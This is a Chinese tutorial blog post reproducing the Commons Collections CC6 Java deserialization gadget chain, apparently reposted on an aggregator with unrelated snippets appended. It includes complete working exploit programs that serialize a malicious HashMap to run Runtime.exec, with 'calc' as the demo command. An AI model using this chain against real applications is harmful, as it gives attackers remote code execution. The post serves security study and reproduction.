java 反序列化 cc6 复现

news/2024/12/21 18:44:18/文章来源:https://www.cnblogs.com/meraklbz/p/18446488

复现环境:common-collections版本<=3.2.1,java版本随意.
我们观察java高于8u71的版本会发现sun.reflect.annotation.AnnotationInvocationHandler类被进行了修改,其中的readObject不去调用setvalue方法,而是创建了一个LinkedHashMap var7去重新进行操作,使我们之前的利用链中断.

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {ObjectInputStream.GetField var2 = var1.readFields();Class var3 = (Class)var2.get("type", (Object)null);Map var4 = (Map)var2.get("memberValues", (Object)null);AnnotationType var5 = null;try {var5 = AnnotationType.getInstance(var3);} catch (IllegalArgumentException var13) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var6 = var5.memberTypes();LinkedHashMap var7 = new LinkedHashMap();String var10;Object var11;for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {Map.Entry var9 = (Map.Entry)var8.next();var10 = (String)var9.getKey();var11 = null;Class var12 = (Class)var6.get(var10);if (var12 != null) {var11 = var9.getValue();if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {var11 = (new AnnotationTypeMismatchExceptionProxy(objectToString(var11))).setMember((Method)var5.members().get(var10));}}}AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);}

由于commoncollections版本没变,因此在chainedTransformer以及之前的链子不用改变,需要重新找个出口去自动调用transform方法.

源码剖析

LazyMap

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {protected final Transformer factory;public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}
}

可以看到在get方法中调用了factory的transform方法.而decorate方法可以返回一个Map对象.
测试:

package org.example;import java.io.*;import com.sun.org.apache.bcel.internal.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);String MethodName1 = "getMethod";Class[] ParmaType1 = {String.class, Class[].class};Object[] Parma1 = {"getRuntime", null};InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);String MethodName2 = "invoke";Class[] ParmaType2 = {Object.class, Object[].class};Object[] Parma2 = {null, null};InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);String MethodName3 = "exec";Class[] ParmaType3 = {String.class};Object[] Parma3 = {"calc"};InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);lazymap.get(null);}
}

也是成功的弹计算器了.接下来就是要找一个能够自动调用get方法的函数.

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {private final Object key;public TiedMapEntry(Map map, Object key) {  this.map = map;  this.key = key;  }public Object getValue() {return this.map.get(this.key);}public int hashCode() {Object value = this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());}

getValue方法能够调用map的get方法,然后hashCode方法能够调用getValue方法.
测试:

package org.example;import java.io.*;import com.sun.org.apache.bcel.internal.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);String MethodName1 = "getMethod";Class[] ParmaType1 = {String.class, Class[].class};Object[] Parma1 = {"getRuntime", null};InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);String MethodName2 = "invoke";Class[] ParmaType2 = {Object.class, Object[].class};Object[] Parma2 = {null, null};InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);String MethodName3 = "exec";Class[] ParmaType3 = {String.class};Object[] Parma3 = {"calc"};InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);tiedMapEntry.hashCode();}
}

接下来就是想办法调用hashCode方法.

HashMap

只看其中几个会用到的函数

static final int hash(Object key) {  int h;  return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}public V put(K key, V value) {  return putVal(hash(key), key, value, false, true);  
}private void readObject(ObjectInputStream s)  throws IOException, ClassNotFoundException {  ObjectInputStream.GetField fields = s.readFields();  // Read loadFactor (ignore threshold)  float lf = fields.get("loadFactor", 0.75f);  if (lf <= 0 || Float.isNaN(lf))  throw new InvalidObjectException("Illegal load factor: " + lf);  lf = Math.min(Math.max(0.25f, lf), 4.0f);  HashMap.UnsafeHolder.putLoadFactor(this, lf);  reinitialize();  s.readInt();                // Read and ignore number of buckets  int mappings = s.readInt(); // Read number of mappings (size)  if (mappings < 0) {  throw new InvalidObjectException("Illegal mappings count: " + mappings);  } else if (mappings == 0) {  // use defaults  } else if (mappings > 0) {  float fc = (float)mappings / lf + 1.0f;  int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?  DEFAULT_INITIAL_CAPACITY :  (fc >= MAXIMUM_CAPACITY) ?  MAXIMUM_CAPACITY :  tableSizeFor((int)fc));  float ft = (float)cap * lf;  threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?  (int)ft : Integer.MAX_VALUE);  // Check Map.Entry[].class since it's the nearest public type to  // what we're actually creating.        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);  @SuppressWarnings({"rawtypes","unchecked"})  Node<K,V>[] tab = (Node<K,V>[])new Node[cap];  table = tab;  // Read the keys and values, and put the mappings in the HashMap  for (int i = 0; i < mappings; i++) {  @SuppressWarnings("unchecked")  K key = (K) s.readObject();  @SuppressWarnings("unchecked")  V value = (V) s.readObject();  putVal(hash(key), key, value, false, false);  }  }  
}

我们看到hash中调用了hashCode方法.而readObject中调用了hash方法.因此比较明了,我们只需要创建一个键为恶意的TiedMapEntry对象,值随意的HashMap,然后去触发反序列化,即可成功的执行命令.
然而这里又出现了个问题,在我们使用put方法去进行插值的时候也会触发hash方法,导致我们还没来得及将对象进行序列化就已经执行了命令.
解决方法:使用反射去进行修改.

package org.example;import java.io.*;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);String MethodName1 = "getMethod";Class[] ParmaType1 = {String.class, Class[].class};Object[] Parma1 = {"getRuntime", null};InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);String MethodName2 = "invoke";Class[] ParmaType2 = {Object.class, Object[].class};Object[] Parma2 = {null, null};InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);String MethodName3 = "exec";Class[] ParmaType3 = {String.class};Object[] Parma3 = {"calc"};InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null) );
//注意这里不能为new ChainedTransformer(null),因为参数类型不匹配TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, null);Class clazz = lazymap.getClass();Field field = clazz.getDeclaredField("factory");field.setAccessible(true);field.set(lazymap, chainedTransformer);serial(hashMap);unserial();}public static void serial(Object obj) throws Exception {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));out.writeObject(obj);}public static void unserial() throws Exception {ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));in.readObject();}
}

然而并没有像我们设想的那样去弹出计算器.
研究发现问题出在LazyMap的get方法中

public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}

在TiedMapEntry对象初始化时会调用get方法,那么就会给这个map去put一个键值对.
反序列化之前第一次经过get:
image

反序列化时第二次经过get:
image

这里的map中填了一对null的键值对,实际是在我们这个语句时指定的null,如果我们改成1的话键就是1,值就是null.因为TiedMapEntry的构造函数中只初始化了key,没有去初始化value.

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);

解决方案一:
网上给出的大多都是在序列化之前移除lazymap中的这个键值对lazymap.remove("2");
解决方案二:
我更喜欢的是更换反射修改的位置.使用反射去修改TiedMapEntry而不是LazyMap将会一举两得的解决这个问题.既避免了put的时候触发LazyMap,也避免了初始化TiedMapEntry的时候修改LazyMap.
测试:

package org.example;import java.io.*;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);String MethodName1 = "getMethod";Class[] ParmaType1 = {String.class, Class[].class};Object[] Parma1 = {"getRuntime", null};InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);String MethodName2 = "invoke";Class[] ParmaType2 = {Object.class, Object[].class};Object[] Parma2 = {null, null};InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);String MethodName3 = "exec";Class[] ParmaType3 = {String.class};Object[] Parma3 = {"calc"};InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, null);Class clazz = TiedMapEntry.class;Field field = clazz.getDeclaredField("map");field.setAccessible(true);field.set(tiedMapEntry, lazymap);serial(hashMap);unserial();}public static void serial(Object obj) throws Exception {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));out.writeObject(obj);}public static void unserial() throws Exception {ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));in.readObject();}
}

成功弹计算器.

归纳出链子

Gadget chain:
ObjectInputStream.readObject()HashMap.readObject()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/807867.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20241003

公交车(bus) 显然的题目,答案就是所有连通块的大小减一之和 #include <bits/stdc++.h>using namespace std;#define int long longconst int N = 1e7 + 5;int n, m, fa[N], sz[N], ans;int find(int x) {if (fa[x] == x) {return x;}return fa[x] = find(fa[x]); }void m…

C语言中对象式宏

001、不使用对象式宏[root@localhost test]# ls test.c [root@localhost test]# cat test.c ## 测试程序 #include <stdio.h>int main(void) {int i, sum = 0;int v[5] = {3, 8, 2, 4, 6}; ## 定义int【5】 型数组for(i = 0; i < 5; i…

helm学习

引用案例: 学习连接:https://www.bilibili.com/video/BV12D4y1Y7Z7/?p=7&vd_source=e03131cedc959fdee0d1ea092e73fb24 (时间:06:16)helm新建一个chart,然后删除templates里面的文件,重新编写一个,最后完成发布,更新,回滚动作1,创建一个模版的chart包,删除原来的…

R语言中gene symbol 转换为ENTREZID, clusterprofile富集分析

001、genes <- read.table("genes.txt") ## 读取基因symbol head(genes) tail(genes) genes <- genes[genes != "NA_NA" & genes != "unknow",, drop = FALSE] ## 去除无效信息(可选) genes_list <…

折半查找法的平均查找长度(成功/失败)

转载:https://blog.csdn.net/qq_73966979/article/details/131354005

Leetcode 1498. 满足条件的子序列数目

1.题目基本信息 1.1.题目描述 给你一个整数数组 nums 和一个整数 target 。 请你统计并返回 nums 中能满足其最小元素与最大元素的 和 小于或等于 target 的 非空 子序列的数目。 由于答案可能很大,请将结果对 109 + 7 取余后返回。 1.2.题目地址 https://leetcode.cn/problem…

Nuxt.js 应用中的 app:beforeMount 钩子详解

title: Nuxt.js 应用中的 app:beforeMount 钩子详解 date: 2024/10/4 updated: 2024/10/4 author: cmdragon excerpt: app:beforeMount 是一个强大的钩子,允许开发者在用户界面挂载前控制应用的初始化过程。通过有效利用这一钩子,我们可以优化应用的用户体验,保持状态一致…

[leetcode 92] 反转链表 II

题目描述: https://leetcode.cn/problems/reverse-linked-list-ii 给你单链表的头指针 head 和两个整数 left 和 right ,其中 left <= right 。请你反转从位置 left 到位置 right 的链表节点,返回 反转后的链表 。示例 1:输入:head = [1,2,3,4,5], left = 2, right = 4…

Vue3的项目搭建

有两种方式可以搭建: 一:使用vue-cli中的webpack创建 第二:推荐使用vite来创建项目 vite是新一代前端构建工具,新的前端构建工具,比webpack要快一些。 npm create vue@latest 创建完项目后,我们可以看到项目最外层有index.htmlVite项目中,index.html是项目的入口文件,在…

完全私有化部署!一款开源轻量级网站防火墙!

SamWaf —— 是一款适用于小公司、工作室和个人网站的开源轻量级网站防火墙,完全私有化部署,数据加密且仅保存本地,一键启动,支持 Linux,Windows.大家好,我是 Java陈序员。 今天,给大家介绍一款开源轻量级网站防火墙!关注微信公众号:【Java陈序员】,获取开源项目分享…

[题解]SFMOI Round I A~C

Portal:https://www.luogu.com.cn/contest/179008 \(\bf{100+50+50+25+5=\color{indianred}225\color{black}\ ,\ rk.\ 184}\)A - Strange Cake Game 显然对于小W,向下移动蛋糕刀是最有利的;对于小M,向右移动是最有利的。所以双方以最佳状态移动,最终\(x\le y\)的巧克力是…

11-网络物理隔离技术原理与应用

11.1 概述 1)概念 目的:既能满足内外网信息及数据交换需求,又能防止网络安全事件出现 基本原理:避免两台计算机之间直接的信息交换以及物理上的连通,以阻断两台计算机之间的直接在线网络攻击 2)风险网络非法外联 U盘摆渡攻击 网络物理隔离产品安全隐患 针对物理隔离的攻击…